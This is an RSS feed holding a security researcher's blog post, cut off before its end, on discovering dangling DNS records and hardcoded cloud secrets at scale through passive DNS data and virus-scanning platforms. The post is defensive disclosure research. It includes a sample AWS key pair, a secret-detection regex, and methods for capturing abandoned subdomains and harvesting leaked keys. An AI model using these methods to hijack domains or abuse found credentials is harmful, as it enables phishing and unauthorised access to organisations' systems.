<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Bill Demirkapi's Blog]]></title><description><![CDATA[The adventures of a 24-year-old security researcher.]]></description><link>https://billdemirkapi.me/</link><image><url>https://billdemirkapi.me/favicon.png</url><title>Bill Demirkapi&apos;s Blog</title><link>https://billdemirkapi.me/</link></image><generator>Ghost 4.4</generator><lastBuildDate>Thu, 16 Apr 2026 20:42:33 GMT</lastBuildDate><atom:link href="https://billdemirkapi.me/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale]]></title><description><![CDATA[Modern technologies like the cloud have made rapidly developing scalable software more accessible than ever. What risks has cloud computing introduced for the sake of convenience?]]></description><link>https://billdemirkapi.me/leveraging-big-data-for-vulnerability-discovery-at-scale/</link><guid isPermaLink="false">66f4d85cf9f45803a6f6f96c</guid><category><![CDATA[Security Research]]></category><dc:creator><![CDATA[Bill Demirkapi]]></dc:creator><pubDate>Fri, 27 Sep 2024 05:19:00 GMT</pubDate><media:content url="https://billdemirkapi.me/content/images/2024/09/blogpresentation_banner3.png" medium="image"/><content:encoded><![CDATA[<img src="https://billdemirkapi.me/content/images/2024/09/blogpresentation_banner3.png" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale"><p><em><strong>Disclaimer:</strong> This research was conducted strictly independent of my employer (excluded from scope). All opinions and views in this article are my own. When citing, please call me an Independent Security Researcher.</em></p><p>Modern technologies like the cloud have made rapidly developing scalable software more accessible than ever. What used to require thousands of dollars in investment is now accessible through a free trial. We&apos;ve optimized infrastructure-as-a-service (IaaS) providers to reduce friction to entry, but what happens when security clashes with productivity? What risks have we introduced for the sake of convenience?</p><p>For the last three years, I&apos;ve investigated how the insecure defaults built into cloud services have led to widespread &amp; systemic weaknesses in tens of thousands of organizations, including some of the world&apos;s largest like Samsung, CrowdStrike, NVIDIA, HP, Google, Amazon, the NY Times, and more! I focused on two categories: <a href="https://www.paloaltonetworks.com/cyberpedia/what-is-a-dangling-dns">dangling DNS records</a> and <a href="https://www.synopsys.com/blogs/software-security/finding-hard-coded-secrets-before-you-suffer-a-breach.html">hardcoded secrets</a>. The former is well-traversed and will be an intuitive introduction to finding bugs using unconventional data sources. Work towards the latter, however, has often been limited in scope &amp; diversity.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2024/09/b4a75f9f54200bc8ebcd3f47d19cd28c5dc7fce2.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1287" height="804" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/b4a75f9f54200bc8ebcd3f47d19cd28c5dc7fce2.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/b4a75f9f54200bc8ebcd3f47d19cd28c5dc7fce2.png 1000w, https://billdemirkapi.me/content/images/2024/09/b4a75f9f54200bc8ebcd3f47d19cd28c5dc7fce2.png 1287w" sizes="(min-width: 720px) 720px"><figcaption>Fake Article Demonstration on a New York Times Domain</figcaption></figure><p>Unfortunately, both vulnerability classes run rampant in production cloud environments. Dangling DNS records occur when a website has a DNS record pointing at a cloud host that is no longer in control. This project applied a variant of historical approaches to discover <strong>66,000+ unique top-level domains</strong> (TLDs) that still host dangling records. Leveraging a similar &quot;big data&quot; approach for hardcoded secrets revealed <strong>15,000+ unique, verified secrets</strong> for various API services.</p><p>While we will review the findings later, the key idea is simple: cloud providers are not doing enough to protect customers against misconfigurations <em>they incentivize</em>. The customer creates these vulnerabilities, but how platforms are designed directly controls whether such issues can exist at all.</p><p>Instead of taking accountability and enforcing secure defaults, most providers expect that a few documentation warnings that most will never read will mitigate their liability. This research demonstrates how this is far from enough and the compounding risk of abuse with hardcoded secrets.</p><h1 id="background">Background</h1><p>Cloud computing lets you create infrastructure on demand, including servers, websites, storage, and so on. Under the hood, they&apos;re just an abstracted version of what many internet-facing businesses had to do a few decades ago. What makes it work are high margins and more importantly, the fact that <strong>everything is shared</strong>.</p><h2 id="cloud-environments-network-identifiers">Cloud Environments &amp; Network Identifiers</h2><p>A cloud resource is <strong>dangling</strong> if it is deallocated from your environment while still referenced by a DNS record. For example, let&apos;s say I create an AWS EC2 instance and an A record, <code>project1.example.com</code>, pointing at its public IP. I use the subdomain for some projects and, a few months later, deallocate the EC2 instance while cleaning up old servers I&apos;m not using.</p><p>Remember, you paid to borrow someone else&apos;s infrastructure. Once you&apos;re done, the IP address assigned to your EC2 instance simply goes back into the shared pool for use by any other customer. Since DNS records are not bound to their targets by default, unless you remember that <code>project1.example.com</code> needs to be deleted, the moment the public IP is released is the moment it is <strong>dangling</strong>. These DNS records are problematic because if an attacker can capture the IP you released, they can now host anything at <code>project1.example.com</code>.</p><p>A/AAAA records are not the only type at risk. A* records are relevant when your cloud resource is assigned a dedicated IP address. Not all managed cloud services involve a dedicated IP, however. For example, when using a managed storage service like AWS S3 or Google Cloud (GCP) Storage, you&apos;re assigned a dedicated hostname like <code>example.s3.amazonaws.com</code>. Under the hood, these hostnames point at IP addresses shared across many customers.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927140814.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="914" height="576" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927140814.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927140814.png 914w" sizes="(min-width: 720px) 720px"><figcaption>CNAME Subdomain Takeover <a href="https://learn.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover">Example</a></figcaption></figure><p>DNS record types like CNAME, which accept hostnames, can similarly become dangling if the hostname is released (e.g., you delete a bucket, allowing an attacker to recreate with same name). Unlike dedicated endpoints, it is easier to guard shared endpoints against attacks because the provider can prohibit the registration of a deallocated identifier. Reserving IP addresses, however, is far less feasible.</p><h3 id="why-care">Why Care?</h3><p>Why should you care about dangling DNS records? Unfortunately, if an attacker can control a trusted subdomain, there is a substantial risk of abuse:</p><ul><li>Enables phishing, scams, and malware distribution.</li><li>Session Hijacking via Cross-Site Scripting (XSS)</li><li>If <code>example.com</code> does not restrict access to session cookies from subdomains, an attacker may be able to execute malicious JavaScript to impersonate a logged in user.</li><li>Context-specific impact, like&#x2026;</li><li>Bypass trusted hostname checks in software (e.g., when downloading updates).</li><li>Abuse brand trust &amp; reputation for misinformation.</li></ul><p>According to RIPE&apos;s article, <em><a href="https://labs.ripe.net/author/haya-shulman/cloudy-with-a-chance-of-cyberattacks-dangling-resource-abuse-on-cloud-platforms/">Dangling Resource Abuse on Cloud Platforms</a></em>:</p><blockquote>The main abuse (75%) of hijacked, dangling resources is to generate traffic to adversarial services. The attackers target domains with established reputation and exploit that reputation to increase the ranking of their malicious content by search engines and as a result to generate page impressions to the content they control. The content is mostly gambling and other adult content.<br>...<br>The other categories of abuse included malware distribution, cookie theft and fraudulent certificates. Overall, we find that the hacking groups successfully attacked domains in 31% of the Fortune 500 companies and 25.4% of the Global 500 companies, some over long periods of time.</blockquote><p>Dangling DNS records are most commonly exploited en masse, but targeted attacks still exist. Fortunately, to achieve a high impact beyond trivial search engine optimization, an attacker would need to investigate your organization&apos;s relationship with the domain they&apos;ve compromised. Unfortunately, while trivial abuse like search engine optimization matters less in isolated incidents, it becomes a major problem when scaled.</p><h2 id="cloud-environments-authentication">Cloud Environments &amp; Authentication</h2><p>Cloud environments, including any API service, are managed over the Internet. Even if you use dedicated resources where possible, you&apos;re still forced to manage them through a shared gateway. How do we secure this access?</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/aws_access_key_docs.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1050" height="374" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/aws_access_key_docs.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/aws_access_key_docs.png 1000w, https://billdemirkapi.me/content/images/2024/09/aws_access_key_docs.png 1050w" sizes="(min-width: 720px) 720px"></figure><p>Since the inception of cloud services, one of the most common methods of authentication is using a 16 to 256 character secret key. For example, <a href="https://web.archive.org/web/20220930042626/https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html">until late 2022</a>, the recommended authentication scheme for AWS programmatic access was an access and secret key pair.</p><pre><code>[example]
aws_access_key_id = AKIAIBJGN829BTALSORQ
aws_secret_access_key = dGhlcmUgYXJlIGltcG9zdGVycyBhbW9uZyB1cw
</code></pre><p>While AWS today <a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html">warns</a> against long-lived secret keys, you still need them to issue short-lived session tokens when running outside of an AWS instance. Also, it&apos;s still the path of least resistance.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/gcloud_access_methods.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="844" height="362" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/gcloud_access_methods.png 600w, https://billdemirkapi.me/content/images/2024/09/gcloud_access_methods.png 844w" sizes="(min-width: 720px) 720px"></figure><p>An alternative example is Google Cloud (GCP).</p><ul><li><strong>gcloud CLI credentials</strong>: Trigger interactive login in a website browser to authenticate. Credentials <strong>cannot</strong> be hardcoded into source.</li><li><strong>Application Default Credentials</strong>: Look for cached credentials stored on disk, in environment variables, or an attached service account. Credentials <strong>cannot</strong> be hardcoded into source.</li><li><strong>Impersonated Service Account</strong>: Authenticate using a JSON file with a private key &amp; metadata for a service account. Technically, you <strong>can</strong> hardcode it in a string and load it manually, but the <a href="https://cloud.google.com/docs/authentication/rest#impersonated-sa">default</a> is to load it from a file.</li><li><strong>Metadata Server</strong>: API exposed to GCP instances. Allows you to request an access token if a service account is assigned to the resource. Credentials <strong>cannot</strong> be hardcoded into source.</li></ul><p>While GCP also has API keys, these are only supported for benign services like Google Maps because they do not &quot;identify a principal&quot; (i.e., a user). The closest they have to a secret you can hardcode, like AWS access/secret keys, are <a href="https://cloud.google.com/iam/docs/keys-create-delete">service account JSON files</a>.</p><pre><code>{
  &quot;type&quot;: &quot;service_account&quot;,
  &quot;project_id&quot;: &quot;project-id-REDACTED&quot;,
  &quot;private_key_id&quot;: &quot;0dfREDACTED&quot;,
  &quot;private_key&quot;: &quot;-----BEGIN PRIVATE KEY-----\nMIIEvwREDACTED\n-----END PRIVATE KEY-----\n&quot;,
  &quot;client_email&quot;: &quot;REDACTED@project-id-REDACTED.iam.gserviceaccount.com&quot;,
  &quot;client_id&quot;: &quot;106REDACTED...&quot;,
  &quot;auth_uri&quot;: &quot;https://accounts.google.com/o/oauth2/auth&quot;,
  &quot;token_uri&quot;: &quot;https://oauth2.googleapis.com/token&quot;,
  &quot;auth_provider_x509_cert_url&quot;: &quot;https://www.googleapis.com/oauth2/v1/certs&quot;,
  &quot;client_x509_cert_url&quot;: &quot;https://www.googleapis.com/robot/v1/metadata/x509/REDACTED%40project-id-REDACTED.iam.gserviceaccount.com&quot;,
  &quot;universe_domain&quot;: &quot;googleapis.com&quot;
}
</code></pre><p>Unlike a short secret, Google embeds a full size RSA 2048 private key in PEM format. While you could still hardcode this, there is an important distinction in how GCP and AWS approached short-lived secrets. Google incorporated strong defaults in their design, not just in their documentation.</p><ul><li>GCP service account keys are stored in a file by default. AWS access and secret keys were not designed to be used from a file.</li><li>GCP <a href="https://googleapis.dev/python/google-auth/latest/user-guide.html">client libraries expect</a> service account keys to be used from a file. AWS client libraries <a href="https://boto3.amazonaws.com/v1/documentation/api/latest/guide/credentials.html">universally accept</a> access and secret keys from a string.</li><li>It is more annoying to hardcode a 2,000+ character JSON blob than it is to hardcode a 20-character access and 40-character secret key.</li></ul><p>We&apos;ll dissect these differences later, but the takeaway here is <strong>not</strong> that AWS is fundamentally less secure than GCP. AWS&apos; path of least resistance being insecure only matters at scale. If you follow AWS recommendations, your security posture is likely close to that of a GCP service account. At scale, however, it is inevitable that some customers will follow where the incentives lead them. In AWS&apos; case, that&apos;s hardcoding long-lived access and secret keys in production code. GCP&apos;s layered approach <em>reduces</em> this risk of human error by <strong>making it annoying to be insecure</strong>.</p><h3 id="why-care-1">Why Care?</h3><p>Unfortunately, hardcoded secrets can lead to far worse impact than dangling DNS records because, by default, they have little restriction on who can use them.</p><p>By their very nature, secrets are &quot;secret&quot; for a reason. They&apos;re designed to grant privileged access to cloud services like production servers, databases, and storage buckets. Cloud provider keys could let an attacker access and modify your infrastructure, potentially exposing sensitive user data. A leaked Slack token could let an attacker <a href="https://www.theverge.com/2024/7/16/24199545/disney-hacktivists-1tb-leak-internal-slack-communications-ai">read all internal communication in your organization</a>. While impact still varies on context, secrets are much easier to abuse and often lead to an immediate security impact. We&apos;ll further demonstrate what this looks like when we review findings.</p><h2 id="past-work">Past Work</h2><p>This blog is not intended to serve as a thorough literary analysis of all past work regarding dangling domains and hardcoded secrets, but let&apos;s review a few key highlights.</p><h3 id="dangling-domains">Dangling Domains</h3><p>Dangling DNS records are a common problem discussed for at least a decade.</p><p>One of the first works pivotal to our understanding of the bug class was published in 2015 by <a href="https://x.com/iammandatory">Matt Bryant</a>, <a href="https://bishopfox.com/blog/fishing-the-aws-ip-pool-for-dangling-domains">Fishing the AWS IP Pool for Dangling Domains</a>. This project explored dangling DNS records that point at a dedicated endpoint, like an AWS EC2 public IP (vs a hostname for a shared endpoint, like <code>*.s3.amazonaws.com</code>).</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/fishing_aws_ip_pool_snippet.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="985" height="208" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/fishing_aws_ip_pool_snippet.png 600w, https://billdemirkapi.me/content/images/2024/09/fishing_aws_ip_pool_snippet.png 985w" sizes="(min-width: 720px) 720px"></figure><p>Bryant found that he could continuously allocate and release AWS <a href="https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html">elastic IPs</a> to enumerate the shared customer pool. Why is this important? To exploit a dangling DNS record, an attacker needs to somehow control its target, e.g., the EC2 IP that was previously allocated/released by the victim. While enumerating these IPs, Bryant searched Bing using the <code>ip:</code> quantifier to see if any cached domains pointed at it. This effectively allowed Bryant to look for dangling DNS records without a specific target.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/aws_elastic_ips_small_pool.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1408" height="244" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/aws_elastic_ips_small_pool.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/aws_elastic_ips_small_pool.png 1000w, https://billdemirkapi.me/content/images/2024/09/aws_elastic_ips_small_pool.png 1408w" sizes="(min-width: 720px) 720px"></figure><p>A few years later, AWS implemented a mitigation that restricts accounts to a small pool of IPs, instead of the entire shared address space. For example, if you allocate, free, and reallocate an elastic IP today, you&apos;ll notice that you&apos;ll keep getting the same IPs over and over again. This prevents enumeration of the AWS IP pool using standard elastic IP allocation. Google Cloud has a very similar mitigation to deter dangling record abuse, but they extend the &quot;small account pool&quot; to apply to any component that allocates an IP.</p><p>Besides dangling records that point at a generic cloud IP, more recent work into &quot;hosting-based&quot; records (e.g., CNAME to a hostname, aka &quot;shared&quot; endpoint) includes, <a href="https://indico.dns-oarc.net/event/46/contributions/982/attachments/933/1740/oarc40_li_dareshark.pdf">DareShark: Detecting and Measuring Security Risks of Hosting-Based Dangling Domains</a>.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/dareshark.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1017" height="182" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/dareshark.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/dareshark.png 1000w, https://billdemirkapi.me/content/images/2024/09/dareshark.png 1017w" sizes="(min-width: 720px) 720px"></figure><p>Researchers from Tsinghua University used DNS databases to identify records that point at &quot;service endpoints&quot;, like <code>example.s3.amazonaws.com</code>. Next, if the managed service is &quot;vulnerable&quot;, they check whether the identifier is registered (i.e., does the <code>example</code> s3 bucket exist?). If it is not, and the managed service is &quot;vulnerable&quot;, they can register the identifier under their attacker account and hijack the record! Whether a service is vulnerable varies. For example, some providers require proof of ownership (like a TXT record) or disallow registering identifiers that were previously held by another customer.</p><p>There are <strong>a lot</strong> of other projects against dangling DNS records we won&apos;t review for brevity. While the space is well traversed, there are some limitations of historical approaches. In general, past work usually runs into at least one of the following:</p><!--kg-card-begin: markdown--><ul>
<li>Use of a limited data source to identify what domains point at a given IP/hostname.</li>
<li>Focus is exclusively DNS records pointing at IPs (dedicated endpoints) OR hostnames (shared endpoints). Rare to see both at once.</li>
<li>Extremely limited work into defeating modern deterrents.
<ul>
<li>For example, many dangling DNS records that point at a shared endpoint are not actually exploitable because of provider restrictions like proof of domain ownership.</li>
<li>Some large providers have seen almost no research into exploiting records that point at a dedicated endpoint, like a generic IP address, due to mitigations like a small pool of IPs assigned to your account. For instance, work into Google Cloud has been limited to shared hostnames.</li>
</ul>
</li>
</ul>
<!--kg-card-end: markdown--><p>Later, we&apos;ll use dangling records as an example of how you can apply unconventional data sources to find vulnerabilities at scale. Additionally, as we&apos;ll soon see, I also attempted to avoid these common pitfalls. With that said, let&apos;s move on to hardcoded secrets!</p><h3 id="hardcoded-secrets">Hardcoded Secrets</h3><p>Unlike dangling DNS records, work into hardcoded secrets was a lot more limited than I expected. In general, research into this category falls into two camps:</p><!--kg-card-begin: markdown--><ul>
<li>Tools to search files and folders for secret patterns.</li>
<li>Projects that search public code uploaded to source control providers, like GitHub, for secret patterns.</li>
</ul>
<!--kg-card-end: markdown--><p>There are dozens of trivial examples of the former including <a href="https://github.com/zricethezav/gitleaks">Gitleaks</a>, &#xA0;<a href="https://github.com/awslabs/git-secrets">Git-secrets</a>, and <a href="https://github.com/trufflesecurity/trufflehog">TruffleHog</a>. These tools listen for new Git commits, or are ran ad hoc against existing data, like the contents of a Git repository, S3 bucket, Docker image, and so on.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/image.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1072" height="436" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/image.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/image.png 1000w, https://billdemirkapi.me/content/images/2024/09/image.png 1072w" sizes="(min-width: 720px) 720px"></figure><p>Nearly all secret scanning tools work by looking for a regex pattern for various secrets. For example, some providers include a unique identifier in their API keys that makes accurate identification trivial, e.g., long-term AWS user access keys start with <code>AKIA</code>. You can see this in the example regex patterns <a href="https://github.com/h33tlit/secret-regex-list">above</a>, such as <code>AKIA[0-9A-Z]{16}</code>.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927010240.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="946" height="255" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/Pasted-image-20240927010240.png 600w, https://billdemirkapi.me/content/images/2024/09/Pasted-image-20240927010240.png 946w" sizes="(min-width: 720px) 720px"></figure><p>Moving on from self-managed tooling, some source control platforms, <a href="https://github.blog/engineering/behind-the-scenes-of-github-token-scanning/">particularly GitHub</a>, proactively scan for secrets in all public data/code. In fact, GitHub goes a step beyond identifying a <em>potential</em> secret by <a href="https://docs.github.com/en/code-security/secret-scanning/introduction/supported-secret-scanning-patterns#supported-secrets">partnering with several large cloud providers</a> to verify <strong>and revoke</strong> leaked secrets! This is pretty neat because it can prevent abuse before the customer can take action.</p><p>In general, all work into hardcoded secrets faces the same problem: it&apos;s against a data set limited in scope and diversity. Even GitHub&apos;s secret scanning work, one of the largest projects of its kind to date, only has visibility into a small fraction of leaked secrets. For example, most closed source applications will likely never encounter GitHub&apos;s scanning. Other tools like <a href="https://github.com/trufflesecurity/trufflehog">TruffleHog</a> are better at accepting a diverse set of file formats, but lack a large, diverse source, of those files.</p><p>How can we do better?</p><h1 id="shifting-our-perspective">Shifting Our Perspective</h1><h2 id="traditional-discovery-mindset">Traditional Discovery Mindset</h2><p>When we consider the conventional approaches to vulnerability discovery, be it in software or websites, we tend to confine ourselves to a specific target or platform. In the case of software, we might reverse engineer an application&apos;s attack surfaces for untrusted input, aiming to trigger edge cases. For websites, we might enumerate a domain for related assets and seek out unpatched, less defended, or occasionally abandoned resources.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://billdemirkapi.me/content/images/2024/09/common_dangling_discovery_methodology.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1200" height="476" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/common_dangling_discovery_methodology.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/common_dangling_discovery_methodology.png 1000w, https://billdemirkapi.me/content/images/2024/09/common_dangling_discovery_methodology.png 1200w" sizes="(min-width: 720px) 720px"><figcaption>Common Dangling Domain Takeover Flow</figcaption></figure><p>To be fair, this thinking is an intuitive default. For example, when was the last time you read a blog about how to find privilege escalation vulnerabilities at scale? They exist, but unsurprisingly, the industry is biased towards vulnerability hunting individual targets (including me!). This is the result of simple incentives. It&apos;s way easier to hunt for vulnerabilities at a micro level, particularly complex types like software privilege escalation. Monetary incentives like bug bounty are also target oriented.</p><p>To be fair, automatically identifying software vulnerabilities is extremely challenging. What I&apos;ve noticed with cloud vulnerabilities is that they&apos;re not only easier to comprehend, but they also tend to lead to a much larger impact. Why? Remember- in the cloud, <strong>everything is shared</strong>! I can remotely execute code in a software application? Cool, I can now pop a single victim if I meet a laundry list of other requirements like network access or user interaction. I can execute code in a cloud provider? Chances are, the bug impacts more than one customer.</p><h3 id="should-some-vulnerabilities-be-approached-differently">Should Some Vulnerabilities Be Approached Differently?</h3><p>The industry lacks focus on finding bugs at scale- it&apos;s a common pattern across most security research. Can we shift our perspective away from a specific target?</p><p></p><!--kg-card-begin: html--><style type="text/css">
.tg  {border-collapse:collapse;border-spacing:0;background: none !important;}
.tg td{border-color:black;border-style:solid;border-width:1px;font-family:Arial, sans-serif;font-size:14px;
  overflow:hidden;padding:10px 5px;word-break:normal;}
.tg th{border-color:black;border-style:solid;border-width:1px;font-family:Arial, sans-serif;font-size:14px;
  font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;}
.tg .tg-fymr{border-color:inherit;font-weight:bold;text-align:left;vertical-align:top}
.tg .tg-0pky{border-color:inherit;text-align:left;vertical-align:top}
</style>
<table class="tg"><thead>
  <tr>
    <th class="tg-fymr">Perspective</th>
    <th class="tg-fymr">Dangling Resources</th>
  </tr></thead>
<tbody>
  <tr>
    <td class="tg-0pky">Traditional</td>
    <td class="tg-0pky">Start with a target and capture vulnerable assets.</td>
  </tr>
  <tr>
    <td class="tg-0pky">At Scale</td>
    <td class="tg-0pky">Capture first &amp; identify impact with &#x201C;big data&#x201D;.</td>
  </tr>
</tbody>
</table><!--kg-card-end: html--><p>With dangling DNS records, the &quot;traditional&quot; approach is to enumerate a target for subdomains and only then identify vulnerable records. Fortunately, dangling DNS records are one of the few vulnerability classes we&apos;ve been able to identify at scale.</p><p>For example, we previously discussed <a href="https://bishopfox.com/blog/fishing-the-aws-ip-pool-for-dangling-domains">Matt Bryant&apos;s blog about finding records that point at deallocated AWS IPs</a>. Instead of starting with a target, Bryant enumerates potential vulnerabilities- the shared pool of available AWS IPs, many of which were likely assigned to a another customer at some point. Bryant worked backwards. What DNS records point at the IP I allocated in my AWS environment? If any exist, I know for a fact that they are dangling, because I control the target!</p><p>Bryant&apos;s methodology had other problems, like a limited source of DNS data (e.g., Bing&apos;s <code>ip:</code> search filter), but the key takeaways are simple.</p><ol><li>Many vulnerability classes are trivial to identify, but are subject to our unconscious bias to start with a specific target.</li><li>There is a large gap in using non-traditional data sources to identify these issues at scale.</li></ol><p>For example, the two perspectives for leaked secrets include:</p><p></p><!--kg-card-begin: html--><style type="text/css">
.tg  {border-collapse:collapse;border-spacing:0;background: none !important;}
.tg td{border-color:black;border-style:solid;border-width:1px;font-family:Arial, sans-serif;font-size:14px;
  overflow:hidden;padding:10px 5px;word-break:normal;}
.tg th{border-color:black;border-style:solid;border-width:1px;font-family:Arial, sans-serif;font-size:14px;
  font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;}
.tg .tg-fymr{border-color:inherit;font-weight:bold;text-align:left;vertical-align:top}
.tg .tg-0pky{border-color:inherit;text-align:left;vertical-align:top}
</style>
<table class="tg"><thead>
  <tr>
    <th class="tg-fymr">Perspective</th>
    <th class="tg-fymr">Leaked Secrets</th>
  </tr></thead>
<tbody>
  <tr>
    <td class="tg-0pky">Traditional</td>
    <td class="tg-0pky">Scan a limited scope for secret patterns.</td>
  </tr>
  <tr>
    <td class="tg-0pky">At Scale</td>
    <td class="tg-0pky">Find diverse &#x201C;big data&#x201D; sources with no target restriction.</td>
  </tr>
</tbody>
</table><!--kg-card-end: html--><p>Today, most work towards identifying leaked cloud credentials focus on individual targets, or lack &#xA0;diversity (e.g., GitHub secret scanning). To identify dangling DNS vulnerabilities at scale, we start with the records, not a target. We do this by using &quot;big data&quot; sources of DNS intelligence, e.g., the capability to figure out what records point at an IP.</p><p>Are there similar &quot;big data&quot; sources that would let us identify leaked secrets at scale without starting with a limited scope?</p><h2 id="the-security-at-scale-mindset">The Security at Scale Mindset</h2><ul><li>Start with the vulnerability, not the target.</li><li>Work backwards using creative data sources.</li><li>Must contain relationships indicative of the targeted vulnerability class.</li><li>Must be feasible to search this data at scale.</li></ul><h3 id="reverse-the-process-dangling-resources">Reverse the Process: Dangling Resources</h3><p>A DNS record is dangling if it points at a deallocated resource. The ideal data source must include a large volume of DNS records. While we covered Bing as an example, are there better alternatives?</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/b30434215f0b5561b441265bc812541efc4cee06.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="1036" height="374" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/b30434215f0b5561b441265bc812541efc4cee06.png 600w, https://billdemirkapi.me/content/images/size/w1000/2024/09/b30434215f0b5561b441265bc812541efc4cee06.png 1000w, https://billdemirkapi.me/content/images/2024/09/b30434215f0b5561b441265bc812541efc4cee06.png 1036w" sizes="(min-width: 720px) 720px"></figure><p><a href="https://securitytrails.com/blog/passive-dns">Passive DNS replication data</a> is a fascinating DNS metadata source I learned about a few years ago. Long story short, some DNS providers sell anonymized DNS data to threat intelligence services who then resell it to people like me. Anonymization means they usually don&apos;t include user identifiers (client IP) and rather the DNS records themselves.</p><p>Passive DNS data has many uses. Most importantly, its diversity and scope is almost always better than alternatives to enumeration, like brute-forcing subdomains. If someone has resolved the DNS record, chances are that the record&apos;s metadata is available through passive DNS data. For our purposes, we can use it to find records that point at an IP or hostname we&apos;ve captured while enumerating a provider&apos;s shared pool of network identifiers.</p><p>To be clear, using passive DNS data to find dangling records is not novel, but it&apos;s a great example of the security at scale mindset in practice. We will apply this technique against modern deterrents in the implementation section.</p><h2 id="reverse-the-process-secret-scanning">Reverse the Process: Secret Scanning</h2><p>Going back to the drawing board- what unorthodox data sources would potentially contain leaked secrets? Well, secrets can be included in all sorts of files. For example, if you use a secret in your <strong>client-side</strong> application, it&apos;s not just your source code that has it- any compiled version will include it too. Websites, particularly JavaScript, can use secrets to access cloud services too.</p><p><strong>Where can we find a large collection of applications, scripts, websites, and other artifacts?</strong></p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/9b8e7892185c3ff0509de3457729955c949efc06.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery at Scale" loading="lazy" width="931" height="781" srcset="https://billdemirkapi.me/content/images/size/w600/2024/09/9b8e7892185c3ff0509de3457729955c949efc06.png 600w, https://billdemirkapi.me/content/images/2024/09/9b8e7892185c3ff0509de3457729955c949efc06.png 931w" sizes="(min-width: 720px) 720px"></figure><p>What about&#x2026; virus scanning platforms? <em>&quot;By submitting data ... you are agreeing ... to the sharing of your Sample submission with the security community ...&quot;</em></p><p>Virus scanning websites like <a href="https://www.virustotal.com/gui/home/search">VirusTotal</a> allow you to upload &amp; inspect a file for malicious content using dozens of anti-virus software providers. The reason they caught my eye was because they have <em>everything</em>. Documents, desktop software, iOS and Android apps, text files, configuration files, etc. all frequently find their way to them. The best part? These websites often allow privileged access to these files to improve detection products, reduce false positives, and identify malware.</p><p>While we aren&apos;t after malware, we are after vulnerabilities. Virus scanning platforms are simply a means of identifying them. For example, platforms could block my access, but if a secret in some app was uploaded in a file to them, chances are that app is accessible off platform too.</p><h3 id="scanning-samples">Scanning Samples?</h3><p>Even if we have a candidate data source, we&apos;re far from finished. It would be infeasible to scan every file on larger platforms directly. We need to reduce scope.</p><figure class="kg-card kg-image-card"><img src="https://billdemirkapi.me/content/images/2024/09/32465778dec77e8910ef52527999c6197f3648f6.png" class="kg-image" alt="Secrets and Shadows: Leveraging Big Data for Vulnerability Discovery 